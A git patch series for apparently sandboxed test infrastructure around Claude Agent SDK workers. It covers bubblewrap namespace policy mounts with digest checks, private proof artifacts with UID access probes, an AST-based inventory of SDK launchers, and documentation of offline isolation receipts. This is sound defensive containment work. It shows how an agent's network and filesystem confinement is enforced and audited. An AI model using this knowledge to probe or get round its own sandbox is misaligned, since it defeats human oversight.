+++++++++++++++++++ 3 files changed, 73 insertions(+), 1 deletion(-) create mode 100644 packages/ui-sdk/tests/fixtures/private-proof-artifact.ts create mode 100644 tests/private-proof-artifact.test.ts diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts index 71ddce453a..36e4fe7d57 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts @@ -1,3 +1,4 @@ +import { writePrivateProofArtifact } from "./private-proof-artifact.js"; import { PRIVATE_FIXTURE_DIRECTORY_ACCESS } from "./private-fixture-directory-access.js"; import { defaultIdentityPhase } from "./default-identity-phases.js"; import { applicationQualificationScenario } from "./application-qualification.js"; @@ -190,6 +191,15 @@ if (process.argv[2] === "--index-child") { let foreignRequests = 0; const foreign = Bun.serve({ unix: "/identity-fixture/foreign-relay.sock", fetch() { foreignRequests++; return new Response("ithaca"); } }); chownSync("/identity-fixture/foreign-relay.sock", 0, 21001); chmodSync("/identity-fixture/foreign-relay.sock", 0o660); + // Kernel access proof runs before the diagnostic-producing identity phase. + // Container root writes; only the runner-owned proof directory's UID may read. + const privateControl = writePrivateProofArtifact("/proof", `private-artifact-access-${process.pid}.txt`, "Odysseus private audit control"); + const artifactOwner = lstatSync("/proof"); + const accessProbe = "import errno,sys\ntry: data=open(sys.argv[1]).read()\nexcept OSError as error: sys.exit(0 if sys.argv[2]=='denied' and error.errno==errno.EACCES else 3)\nsys.exit(0 if sys.argv[2]=='allowed' and data=='Odysseus private audit control' else 4)"; + for (const [uid, gid, admission] of [[artifactOwner.uid, artifactOwner.gid, "allowed"], [21002, 21001, "denied"]] as const) { + command(["/usr/bin/setpriv", `--reuid=${uid}`, `--regid=${gid}`, "--clear-groups", "/usr/bin/python3", "-I", "-S", "-c", accessProbe, privateControl, admission]); + } + console.log(JSON.stringify({ privateArtifactOwnership: "pass", mode: "0600", runnerReadable: true, workerDenied: true })); try { const phases = ordinaryIdentityPhases({ applicationScenario, applicationQualification, probeStatePlacement, sharedGit, privateGitInputs, indexControls: process.argv[2] === "--index-controls" }); @@ -213,7 +223,7 @@ if (process.argv[2] === "--index-child") { const auditRoot = "/identity-server-private/server-ws"; if (existsSync(auditRoot)) for (const name of readdirSync(auditRoot).filter(name => /^native-startup-audit-[0-9]+\.json$/.test(name))) { // The guard already bounded/scrubbed this snapshot before raw audit cleanup. - writeFileSync(join("/proof", name), readFileSync(join(auditRoot, name)), { mode: 0o600 }); + writePrivateProofArtifact("/proof", name, readFileSync(join(auditRoot, name))); } } const output = capturedOutput.text, errors = capturedErrors.text; diff --git a/packages/ui-sdk/tests/fixtures/private-proof-artifact.ts b/packages/ui-sdk/tests/fixtures/private-proof-artifact.ts new file mode 100644 index 0000000000..636b9c19d4 --- /dev/null +++ b/packages/ui-sdk/tests/fixtures/private-proof-artifact.ts @@ -0,0 +1,21 @@ +/** Container root hands private diagnostics back to the outer proof-directory owner. */ +import { closeSync, constants, fchmodSync, fchownSync, fstatSync, openSync, writeFileSync } from "node:fs"; +import { basename, join } from "node:path"; + +export function writePrivateProofArtifact(directory: string, name: string, bytes: Uint8Array | string): string { + if (basename(name) !== name || name === "." || name === "..") throw Error("Invalid private proof artifact name"); + const owner = openSync(directory, constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW); + try { + const identity = fstatSync(owner); + const destination = join(directory, name); + const fd = openSync(`/proc/self/fd/${owner}/${name}`, constants.O_WRONLY | constants.O_CREAT | constants.O_EXCL | constants.O_NOFOLLOW, 0o600); + try { + writeFileSync(fd, bytes); + fchownSync(fd, identity.uid, identity.gid); + fchmodSync(fd, 0o600); + const result = fstatSync(fd); + if (result.uid !== identity.uid || result.gid !== identity.gid || (result.mode & 0o7777) !== 0o600) throw Error("Private proof artifact ownership handoff failed"); + } finally { closeSync(fd); } + return destination; + } finally { closeSync(owner); } +} diff --git a/tests/private-proof-artifact.test.ts b/tests/private-proof-artifact.test.ts new file mode 100644 index 0000000000..b735acd4e8 --- /dev/null +++ b/tests/private-proof-artifact.test.ts @@ -0,0 +1,41 @@ +/** Local descriptor proof; the identity fixture supplies separate-UID kernel proof. */ +import { expect, test } from "bun:test"; +import { mkdtempSync, readFileSync, rmSync, statSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { writePrivateProofArtifact } from "../packages/ui-sdk/tests/fixtures/private-proof-artifact"; + +test("private proof artifact belongs to the outer directory owner with mode 0600",()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-private-proof-")); + try { + const file=writePrivateProofArtifact(root,"audit.json","Odysseus private audit"),owner=statSync(root),result=statSync(file); + expect(readFileSync(file,"utf8")).toBe("Odysseus private audit"); + expect([result.uid,result.gid,result.mode&0o7777]).toEqual([owner.uid,owner.gid,0o600]); + expect(()=>writePrivateProofArtifact(root,"audit.json","replacement")).toThrow(); + writeFileSync(join(root,"target"),"unchanged");symlinkSync(join(root,"target"),join(root,"alias")); + expect(()=>writePrivateProofArtifact(root,"alias","replacement")).toThrow(); + expect(readFileSync(join(root,"target"),"utf8")).toBe("unchanged"); + expect(()=>writePrivateProofArtifact(root,"../escape","replacement")).toThrow(); + }finally{rmSync(root,{recursive:true,force:true});} +}); + + +test("private artifact handoff selects the proof owner rather than the writing UID",async()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-proof-owner-")); + try { + const script=join(root,"probe.ts"); + writeFileSync(script,`import * as fs from "node:fs";import {mock} from "bun:test"; + const original={...fs};let ownerFd,outputFd,handed=false; + mock.module("node:fs",()=>({...original, + openSync:(path,...args)=>{const fd=original.openSync(path,...args);if(path===${JSON.stringify(root)})ownerFd=fd;else outputFd=fd;return fd;}, + fstatSync:(fd)=>{const value=original.fstatSync(fd);return fd===ownerFd?{...value,uid:21001,gid:21003}:fd===outputFd&&handed?{...value,uid:21001,gid:21003}:value;}, + fchownSync:(fd,uid,gid)=>{if(fd!==outputFd||uid!==21001||gid!==21003)throw Error("WRONG_PROOF_OWNER");handed=true;} + })); + const {writePrivateProofArtifact}=await import(${JSON.stringify(join(import.meta.dir,"../packages/ui-sdk/tests/fixtures/private-proof-artifact.ts"))}); + writePrivateProofArtifact(${JSON.stringify(root)},"audit.json","Odysseus audit"); + if(!handed)throw Error("PRIVATE_ARTIFACT_NOT_HANDED_BACK");console.log("PRIVATE_ARTIFACT_HANDED_BACK");`); + const child=Bun.spawn([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,err).toBe(0);expect(out.trim()).toBe("PRIVATE_ARTIFACT_HANDED_BACK"); + }finally{rmSync(root,{recursive:true,force:true});} +}); From 28c5140dae4926b332b879fe97a574bdeb0ec577 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 09:49:52 +0000 Subject: [PATCH 061/187] test: qualify namespace mount targets and discover native launchers --- docs/process/testing.md | 9 ++- experiments/2052-title-provenance/probe.ts | 2 +- .../fixtures/relayed-runtime-traffic-probe.ts | 2 +- .../tests/native-hosted-runtime.test.ts | 7 ++- scripts/measure-claude-delegation.ts | 7 +-- scripts/measure-claude-haiku.ts | 7 +-- scripts/test-native-guard.ts | 10 ++-- scripts/test-network-guard.ts | 2 +- tests/helpers/native-launcher-inventory.ts | 57 +++++++++++++++++++ tests/native-namespace-policy.test.ts | 40 +++++++++++++ tests/native-offline-boundary.test.ts | 2 +- tests/native-policy-artifact.test.ts | 12 ++-- tests/native-worker-fixture-inventory.test.ts | 55 +++++++++++++++++- 13 files changed, 184 insertions(+), 28 deletions(-) create mode 100644 tests/helpers/native-launcher-inventory.ts create mode 100644 tests/native-namespace-policy.test.ts diff --git a/docs/process/testing.md b/docs/process/testing.md index ebbb18f6b8..7a25143b80 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1187,7 +1187,9 @@ Hosted qualification must pass the real kernel-policy self-test before any installed runtime launches; missing compiler or kernel support emits a failed receipt. Fixture namespaces that hide compiler inputs compile once in their outer process, then bind the artifact read-only after all covering mounts and -pass its digest to the inner guard. The inner guard verifies regular-file type, +pass its digest to the inner guard. Relay fixture views create the mount target +inside their own `/tmp` tmpfs, after covering mounts; real bubblewrap tests run +all discovered launcher shapes with `/usr/bin/true`. The inner guard verifies regular-file type, non-writability and SHA-256 before using it; an absent or changed artifact refuses instead of falling back. Unit shards and determinism use the same fixture preparation as runtime proof. Local plan tests compile the helper but @@ -1203,6 +1205,11 @@ synthetic executables. Hosted proof additionally exercises hostile managed settings, an outside-HOME sentinel credential, helper descendants, denied TCP, and the one permitted scripted service; the child silently swallows denied connections, so the audit count comes from the boundary rather than child output. +The native launcher inventory discovers SDK calls and backend constructors in +repository sources, including aliases and dynamic imports, instead of relying +on a filename list. Networked-profile fixtures that restore an aliased resolver +file declare that one regular file explicitly for copied staging; they never +admit its containing service directory or a DNS route. The baseline retention fixture keeps its tool wrapper and runtime-rg alias together in a read-only tool directory and its invocation witness in HOME. Run installed-native backend and diff --git a/experiments/2052-title-provenance/probe.ts b/experiments/2052-title-provenance/probe.ts index e8b58b4038..dcec4973b9 100644 --- a/experiments/2052-title-provenance/probe.ts +++ b/experiments/2052-title-provenance/probe.ts @@ -38,7 +38,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream", "request-id": id } }); } }); -nativeScriptedService(server.url.origin); +nativeScriptedService(server.url.origin, { fixtureRoots: [brainPath, home] }); try { for (turnIndex = 1; turnIndex <= 2; turnIndex++) { const controller = new AbortController(); diff --git a/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts b/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts index e8b9f46cd6..681adb1d29 100644 --- a/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts @@ -24,7 +24,7 @@ const recorder = createServer((request, response) => { connections.push(`${reque recorder.on("connect", (request, socket) => { connections.push(`CONNECT ${request.url}`); socket.end("HTTP/1.1 403 Forbidden\r\n\r\n"); }); await new Promise(resolve => recorder.listen(0, "127.0.0.1", resolve)); const proxyUrl = `http://127.0.0.1:${(recorder.address() as { port: number }).port}`; -nativeScriptedService(proxyUrl); +nativeScriptedService(proxyUrl, { fixtureRoots: [scratch] }); let called = false; const relay = Bun.serve({ unix: join(WORKER_EGRESS_DIR, "inference.sock"), async fetch(request) { const body = await request.text(); diff --git a/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts b/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts index 59f85c01cd..2be155b562 100644 --- a/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts +++ b/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts @@ -2,7 +2,7 @@ import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** Production SDK options and isolated worker, real CLI tools, scripted loopback inference. */ import { expect, test } from "bun:test"; -import { mkdirSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; +import { mkdirSync, readFileSync, realpathSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { query, type HookCallback, type SDKMessage } from "@anthropic-ai/claude-agent-sdk"; import { createKeyedLock, type ServerMessage } from "@schlessera/brain-ui-sdk/server"; @@ -44,7 +44,10 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo if (!call || !body.tools?.some(tool => tool.name === call.name)) return reply(); sent++; return reply(call); } }); - nativeScriptedService(server.url.origin); + // The production networked profile restores this one resolver file when + // its distro alias points into /run. Explicit registration snapshots that + // file only; the native child's network namespace still has no DNS route. + nativeScriptedService(server.url.origin, { fixtureRoots: [root], fixtureFiles: [realpathSync("/etc/resolv.conf")] }); const lockState = { ended: false, pendingReleases: new Map void>() }; let lockHeldDuringWrite = false; const frames: ServerMessage[] = [], lock = createTurnLockBinding({ turn: lockState, writeLock: createKeyedLock(), lockWaitMs: 1000, log: () => {} }); diff --git a/scripts/measure-claude-delegation.ts b/scripts/measure-claude-delegation.ts index 116aa746c8..1a703c4074 100644 --- a/scripts/measure-claude-delegation.ts +++ b/scripts/measure-claude-delegation.ts @@ -1,11 +1,10 @@ import "./measurement-entry-preload.ts"; -import { nativeScriptedService, nativeScriptedQuery } from "./test-native-guard.ts"; +import { nativeFixtureDirectory, nativeScriptedService, nativeScriptedQuery } from "./test-native-guard.ts"; // #1213: production enforcement and foreground rewrite inherited by a real subagent. // Run with only loopback enabled. All credentials and commands are controlled fixtures. import assert from "node:assert/strict"; import { createMeasurementWorkerFixture } from "./measurement-worker-fixture.js"; -import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; +import { mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { dirname, join } from "node:path"; import type { Options } from "@anthropic-ai/claude-agent-sdk"; import { createClaudeBackend, type InferenceProfile } from "../packages/ui-backend-claude/src/index"; @@ -16,7 +15,7 @@ const entry = Bun.resolveSync("@anthropic-ai/claude-agent-sdk", join(import.meta const { query } = await import(entry) as typeof import("@anthropic-ai/claude-agent-sdk"); const rows: unknown[] = []; for (const allowChild of [false, true]) { - const root = mkdtempSync(join(tmpdir(), "delegation-probe-")); + const root = nativeFixtureDirectory("delegation-probe-"); const cwd = join(root, "cwd"), home = join(root, "home"), marker = join(WORKER_SCRATCH, "marker"); const witness = createWorkerEffectWitness({ marker }); mkdirSync(cwd); diff --git a/scripts/measure-claude-haiku.ts b/scripts/measure-claude-haiku.ts index ffda420ae1..ee760dc18d 100644 --- a/scripts/measure-claude-haiku.ts +++ b/scripts/measure-claude-haiku.ts @@ -1,12 +1,11 @@ import "./measurement-entry-preload.ts"; -import { nativeScriptedService, nativeScriptedQuery } from "./test-native-guard"; +import { nativeFixtureDirectory, nativeScriptedService, nativeScriptedQuery } from "./test-native-guard"; // #1238: actual bundled runtime, production model assembly, fixture inference. // Run inside a network namespace with only loopback. No real credentials. import assert from "node:assert/strict"; import { createMeasurementWorkerFixture } from "./measurement-worker-fixture.js"; import { createHash } from "node:crypto"; -import { mkdirSync, mkdtempSync, readFileSync, rmSync } from "node:fs"; -import { tmpdir } from "node:os"; +import { mkdirSync, readFileSync, rmSync } from "node:fs"; import { dirname, join } from "node:path"; import type { SDKMessage, query as QueryFunction } from "@anthropic-ai/claude-agent-sdk"; import { createClaudeBackend } from "../packages/ui-backend-claude/src/backend"; @@ -19,7 +18,7 @@ const entry = Bun.resolveSync("@anthropic-ai/claude-agent-sdk", join(import.meta const { query } = await import(entry) as { query: typeof QueryFunction }; const sdk = JSON.parse(readFileSync(join(dirname(entry), "package.json"), "utf8")); const manifest = JSON.parse(readFileSync(join(dirname(entry), "manifest.json"), "utf8")); -const root = mkdtempSync(join(tmpdir(), "haiku-native-")); +const root = nativeFixtureDirectory("haiku-native-"); const brainPath = join(root, "brain"); mkdirSync(brainPath); const env = { ...CLEARED_API_CREDENTIALS, HOME: root, PATH: process.env.PATH ?? "/usr/bin:/bin", diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 3ce69e9ec0..1e572e1525 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -183,6 +183,7 @@ function qualify(): void { } export const RTK_SOCKET_POLICY = "/usr/local/bin/brain-native-connect"; +export const NAMESPACE_SOCKET_POLICY = "/tmp/brain-native-policy/native-connect"; // Isolated preload fixtures copy only the guard closure. Load the existing // receipt scrubbers only for diagnostics, and never fall back to raw text. function diagnosticRedactors() { @@ -206,7 +207,7 @@ function compilerDiagnostic(value: string): string { /** Prepare before a fixture hides compiler inputs such as /etc/alternatives. */ export function nativeNamespacePolicy(): { mounts: string[]; args: string[] } { const policy = compileSocketPolicy(); - return { mounts: ["--ro-bind", policy, RTK_SOCKET_POLICY], + return { mounts: ["--dir", "/tmp/brain-native-policy", "--ro-bind", policy, NAMESPACE_SOCKET_POLICY], args: ["--native-policy-view", `--native-socket-policy-sha256=${fileHash(policy)}`] }; } @@ -214,12 +215,13 @@ export function nativeNamespacePolicy(): { mounts: string[]; args: string[] } { export function compileSocketPolicy(): string { if (socketPolicyExecutable) return socketPolicyExecutable; if (process.argv.includes("--native-rtk-view") || process.argv.includes("--native-policy-view")) { + const artifact = process.argv.includes("--native-policy-view") ? NAMESPACE_SOCKET_POLICY : RTK_SOCKET_POLICY; const digest = process.argv.find(value => value.startsWith("--native-socket-policy-sha256="))?.split("=")[1]; try { - const info = lstatSync(RTK_SOCKET_POLICY); - if (!/^[0-9a-f]{64}$/.test(digest ?? "") || !info.isFile() || (info.mode & 0o222) || fileHash(RTK_SOCKET_POLICY) !== digest) throw Error("invalid artifact"); + const info = lstatSync(artifact); + if (!/^[0-9a-f]{64}$/.test(digest ?? "") || !info.isFile() || (info.mode & 0o222) || fileHash(artifact) !== digest) throw Error("invalid artifact"); } catch { return refuse("native socket policy artifact is unavailable or changed"); } - return socketPolicyExecutable = RTK_SOCKET_POLICY; + return socketPolicyExecutable = artifact; } const directory = mkdtempSync(join(tmpdir(), "odysseus-native-policy-")); const executable = join(directory, "native-connect"); diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 5459ae3621..8f71ec7038 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -209,7 +209,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { // followed by process.exit(0), must still make that process unsuccessful. process.on("exit", () => { if (escapes.length || nativeIsolationFailed()) { - console.error(escapes.length ? message() : "Offline test guard: native isolation refused; see native-offline-boundary receipt"); + console.error(escapes.length ? message() : "Offline test guard: native isolation failed; see native-offline-* receipts"); process.exit(1); } }); diff --git a/tests/helpers/native-launcher-inventory.ts b/tests/helpers/native-launcher-inventory.ts new file mode 100644 index 0000000000..4fad9ad4ba --- /dev/null +++ b/tests/helpers/native-launcher-inventory.ts @@ -0,0 +1,57 @@ +/** Discover real SDK callers from syntax; never evaluate fixture or runtime code. */ +import ts from "typescript"; +import { readFileSync } from "node:fs"; +import { join } from "node:path"; +export function nativeSdkLauncher(source: ts.SourceFile): boolean { + const queries=new Set(),backends=new Set(["createClaudeBackend"]);let launches=false; + function bindings(node:ts.Node):void { + if(ts.isImportDeclaration(node)){ + const names=node.importClause?.namedBindings; + if(names&&ts.isNamedImports(names))for(const item of names.elements)if(!item.isTypeOnly&&(item.propertyName??item.name).text==="createClaudeBackend")backends.add(item.name.text); + } + if(ts.isImportDeclaration(node)&&ts.isStringLiteral(node.moduleSpecifier)&&node.moduleSpecifier.text==="@anthropic-ai/claude-agent-sdk"&&!node.importClause?.isTypeOnly){ + const names=node.importClause?.namedBindings; + if(names&&ts.isNamespaceImport(names))queries.add(`${names.name.text}.query`); + if(node.importClause?.name)queries.add(`${node.importClause.name.text}.query`); + if(names&&ts.isNamedImports(names))for(const item of names.elements)if(!item.isTypeOnly&&(item.propertyName??item.name).text==="query")queries.add(item.name.text); + } + if(ts.isVariableDeclaration(node)&&ts.isObjectBindingPattern(node.name)&&node.initializer&&/await import\(/.test(node.initializer.getText(source))&&source.text.includes("@anthropic-ai/claude-agent-sdk")){ + for(const item of node.name.elements)if((item.propertyName??item.name).getText(source)==="query")queries.add(item.name.getText(source)); + } + if(ts.isVariableDeclaration(node)&&ts.isIdentifier(node.name)&&node.initializer&&/await import\(/.test(node.initializer.getText(source))&&source.text.includes("@anthropic-ai/claude-agent-sdk"))queries.add(`${node.name.text}.query`); + ts.forEachChild(node,bindings); + }bindings(source); + function visit(node:ts.Node):void { + if(ts.isCallExpression(node)){ + let name=node.expression.getText(source); + if(ts.isElementAccessExpression(node.expression)&&node.expression.argumentExpression&&ts.isStringLiteral(node.expression.argumentExpression))name=`${node.expression.expression.getText(source)}.${node.expression.argumentExpression.text}`; + if(queries.has(name))launches=true; + if((backends.has(name)||name.endsWith(".createClaudeBackend"))&&source.text.includes(".startTurn(")&&!/mockWorkerHostForSdkStream|mock\.module|mock\.method|queryFn|claudeCodePath/.test(source.text)){ + const config=node.arguments[0]; + if(config&&ts.isObjectLiteralExpression(config)&&!config.properties.some(prop=>(ts.isPropertyAssignment(prop)||ts.isShorthandPropertyAssignment(prop))&&prop.name.getText(source)==="queryFn"))launches=true; + } + } + ts.forEachChild(node,visit); + }visit(source);return launches; +} +export function fixtureSources(root:string): Map { + const files=new Set(); + for(const pattern of ["packages/*/tests/**/*.ts","scripts/**/*.ts","tests/**/*.ts","experiments/**/*.ts"]) + for(const file of new Bun.Glob(pattern).scanSync({cwd:root}))files.add(file); + const sources=new Map(); + for(const file of [...files].sort()){ + const text=readFileSync(join(root,file),"utf8"); + if(/@anthropic-ai\/claude-agent-sdk|createClaudeBackend|nativeNamespaceEnvironment/.test(text))sources.set(file,ts.createSourceFile(file,text,ts.ScriptTarget.Latest,true)); + } + return sources; +} +export function namespaceLaunches(source:ts.SourceFile): ts.ArrayLiteralExpression[] { + const plans:ts.ArrayLiteralExpression[]=[]; + function visit(node:ts.Node):void { + if(ts.isCallExpression(node)&&ts.isPropertyAccessExpression(node.expression)&&["spawn","spawnSync"].includes(node.expression.name.text)){ + const argv=node.arguments[0]; + if(argv&&ts.isArrayLiteralExpression(argv)&&argv.elements.some(item=>ts.isSpreadElement(item)&&item.expression.getText(source)==="nativeNamespaceEnvironment()"))plans.push(argv); + } + ts.forEachChild(node,visit); + }visit(source);return plans; +} diff --git a/tests/native-namespace-policy.test.ts b/tests/native-namespace-policy.test.ts new file mode 100644 index 0000000000..eef70e3b01 --- /dev/null +++ b/tests/native-namespace-policy.test.ts @@ -0,0 +1,40 @@ +/** Real bubblewrap mount construction with /usr/bin/true only; never Claude. */ +import { expect, test } from "bun:test"; +import ts from "typescript"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { nativeNamespacePolicy } from "../scripts/test-native-guard"; +import { fixtureSources, namespaceLaunches } from "./helpers/native-launcher-inventory"; +const root=join(import.meta.dir,".."); +for(const [file,source] of fixtureSources(root))for(const [index,plan] of namespaceLaunches(source).entries())test(`real bwrap policy mount survives read-only roots: ${file}:${index}`,()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-policy-view-")); + try { + const policy=nativeNamespacePolicy(),argv:string[]=["bwrap"];let mounted=false; + for(let i=1;i({...originalFs,statSync:(path,...args)=>originalFs.statSync(path===fixed?file:path,...args),openSync:(path,...args)=>originalFs.openSync(path===fixed?file:path,...args),lstatSync:(path,...args)=>originalFs.lstatSync(path===fixed?file:path,...args),readFileSync:(path,...args)=>originalFs.readFileSync(path===fixed?file:path,...args)})); @@ -38,7 +38,7 @@ for(const view of ["rtk","policy"] as const)for(const mode of ["valid","changed" const child=Bun.spawn([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); expect(code,err).toBe(mode==="valid"?0:1);expect(err).not.toContain("INNER_COMPILER_REACHED"); - if(mode==="valid")expect(out.trim()).toBe("/usr/local/bin/brain-native-connect");else expect(err).toContain("native socket policy artifact is unavailable or changed"); + if(mode==="valid")expect(out.trim()).toBe(view==="rtk"?"/usr/local/bin/brain-native-connect":"/tmp/brain-native-policy/native-connect");else expect(err).toContain("native socket policy artifact is unavailable or changed"); }finally{rmSync(root,{recursive:true,force:true});} }); @@ -67,9 +67,9 @@ test("namespace policy is compiled outside the compiler-free view and mounted re const {nativeNamespacePolicy}=await import("../scripts/test-native-guard.ts"); const {createHash}=await import("node:crypto");const {readFileSync,statSync}=await import("node:fs"); const policy=nativeNamespacePolicy(); - expect(policy.mounts[0]).toBe("--ro-bind"); - expect(policy.mounts[2]).toBe("/usr/local/bin/brain-native-connect"); - expect(statSync(policy.mounts[1]!).mode & 0o222).toBe(0); - expect(policy.args).toEqual(["--native-policy-view","--native-socket-policy-sha256="+createHash("sha256").update(readFileSync(policy.mounts[1]!)).digest("hex")]); + expect(policy.mounts.slice(0,3)).toEqual(["--dir","/tmp/brain-native-policy","--ro-bind"]); + expect(policy.mounts[4]).toBe("/tmp/brain-native-policy/native-connect"); + expect(statSync(policy.mounts[3]!).mode & 0o222).toBe(0); + expect(policy.args).toEqual(["--native-policy-view","--native-socket-policy-sha256="+createHash("sha256").update(readFileSync(policy.mounts[3]!)).digest("hex")]); expect(nativeNamespacePolicy()).toEqual(policy); }); diff --git a/tests/native-worker-fixture-inventory.test.ts b/tests/native-worker-fixture-inventory.test.ts index fb7ec19dc8..1d26b67d91 100644 --- a/tests/native-worker-fixture-inventory.test.ts +++ b/tests/native-worker-fixture-inventory.test.ts @@ -1,7 +1,8 @@ /** Composition checks only; positive installed-runtime proof stays in hosted CI. */ import { expect, test } from "bun:test"; import ts from "typescript"; -import { readFileSync } from "node:fs"; +import { readFileSync, mkdtempSync, mkdirSync, writeFileSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; import { join } from "node:path"; const root=join(import.meta.dir,".."); const read=(file:string)=>readFileSync(join(root,file),"utf8"); @@ -49,8 +50,8 @@ test("enforcement RTK re-entry declares every temporary worker input",()=>{ expect(rtk).toContain('"--bind", "/tmp", "/tmp"'); }); -for(const file of ["host-relay-native","ordinary-host-relay","native-route-qualification","sdk-host-relay","shell-startup"])test(`compiler-free native namespaces carry outer policy: ${file}`,()=>{ - const text=read(`packages/ui-backend-claude/tests/${file}.test.ts`); +for(const [file,source] of fixtureSources(root))if(namespaceLaunches(source).length)test(`compiler-free native namespaces carry outer policy: ${file}`,()=>{ + const text=source.text; const namespaces=[...text.matchAll(/\.\.\.nativeNamespaceEnvironment\(\)/g)].length; expect(namespaces).toBeGreaterThan(0); expect([...text.matchAll(/const policy = nativeNamespacePolicy\(\)/g)].length,"OUTER_POLICY_PREPARED").toBe(namespaces); @@ -59,3 +60,51 @@ for(const file of ["host-relay-native","ordinary-host-relay","native-route-quali // Every policy bind follows the fixture masks, including /tmp and /etc. expect([...text.matchAll(/"--dev", "\/dev", \.\.\.policy\.mounts/g)].length,"POLICY_AFTER_MASKS").toBe(namespaces); }); + +// The list comes from SDK imports/calls, dynamic SDK bindings and backend +// constructors, including scripts and experiments. A new source enters it +// without updating a filename list. +import {fixtureSources,nativeSdkLauncher,namespaceLaunches} from "./helpers/native-launcher-inventory"; +const discoveredSources=fixtureSources(root); +for(const [file,source] of discoveredSources)if(nativeSdkLauncher(source))test(`discovered native launcher has explicit fixture provenance: ${file}`,()=>{ + const text=source.text; + // SDK protocol tests select a fixture executable instead of installed Claude. + if(text.includes("pathToClaudeCodeExecutable")&&text.includes("writeFileSync"))return; + if(text.includes('command: process.execPath, args: ["-e",'))return; + // History-only API tests do not call query; their startTurn controls refuse + // before a runtime is selected. Constructor discovery still inventories them. + if(!/\bquery\s*\(/.test(text)&&/getSessionMessages|listSessions/.test(text))return; + if(/createMeasurementWorkerFixture|createWorkerSpawn|createClaudeSdkTurn/.test(text)){ + expect(/nativeFixtureDirectory|fixtureRoots/.test(text),`NATIVE_WORKER_INPUT_PROVENANCE ${file}`).toBe(true); + }else{ + expect(/nativeScriptedService|nativeScriptedQuery|measurement-entry-preload|scriptedModel\(/.test(text)||text.includes("mock.module"),`NATIVE_SCRIPTED_AUTHORITY ${file}`).toBe(true); + } + if(text.includes('workerSandbox: { brain, profile:')&&/createClaudeSdkTurn|createClaudeBackend/.test(text)&&!text.includes("spawnClaudeCodeProcess: undefined")){ + expect(text,"EXPLICIT_RESOLVER_SNAPSHOT").toContain('fixtureFiles: [realpathSync("/etc/resolv.conf")]'); + } +}); + +test("launcher discovery finds new aliased and dynamic SDK callers and default backends",()=>{ + for(const text of [ + 'import {query as run} from "@anthropic-ai/claude-agent-sdk"; run({});', + 'const {query}=await import(entry) as typeof import("@anthropic-ai/claude-agent-sdk"); query({});', + 'const backend=createClaudeBackend({brainPath:root}); backend.startTurn({});', + 'import {createClaudeBackend as make} from "../backend"; const backend=make({brainPath:root}); backend.startTurn({});', + 'import * as sdk from "@anthropic-ai/claude-agent-sdk"; sdk.query({});', + 'const sdk=await import("@anthropic-ai/claude-agent-sdk"); sdk["query"]({});', + ])expect(nativeSdkLauncher(ts.createSourceFile("new-fixture.ts",text,ts.ScriptTarget.Latest,true))).toBe(true); + expect(nativeSdkLauncher(ts.createSourceFile("synthetic.ts",'import type {query} from "@anthropic-ai/claude-agent-sdk";',ts.ScriptTarget.Latest,true))).toBe(false); +}); + + +test("inventory discovers a new launcher file without a filename registration",()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-launcher-inventory-")); + try{ + const file="packages/ship/tests/new-launcher.test.ts"; + mkdirSync(join(scratch,"packages/ship/tests"),{recursive:true}); + writeFileSync(join(scratch,file),'import {query as run} from "@anthropic-ai/claude-agent-sdk"; run({});'); + const sources=fixtureSources(scratch); + expect([...sources.keys()],"NEW_LAUNCHER_DISCOVERED").toContain(file); + expect(nativeSdkLauncher(sources.get(file)!)).toBe(true); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); From 84c62c3143538ea0bca69c6268e3ca47bd7c5340 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 11:04:04 +0000 Subject: 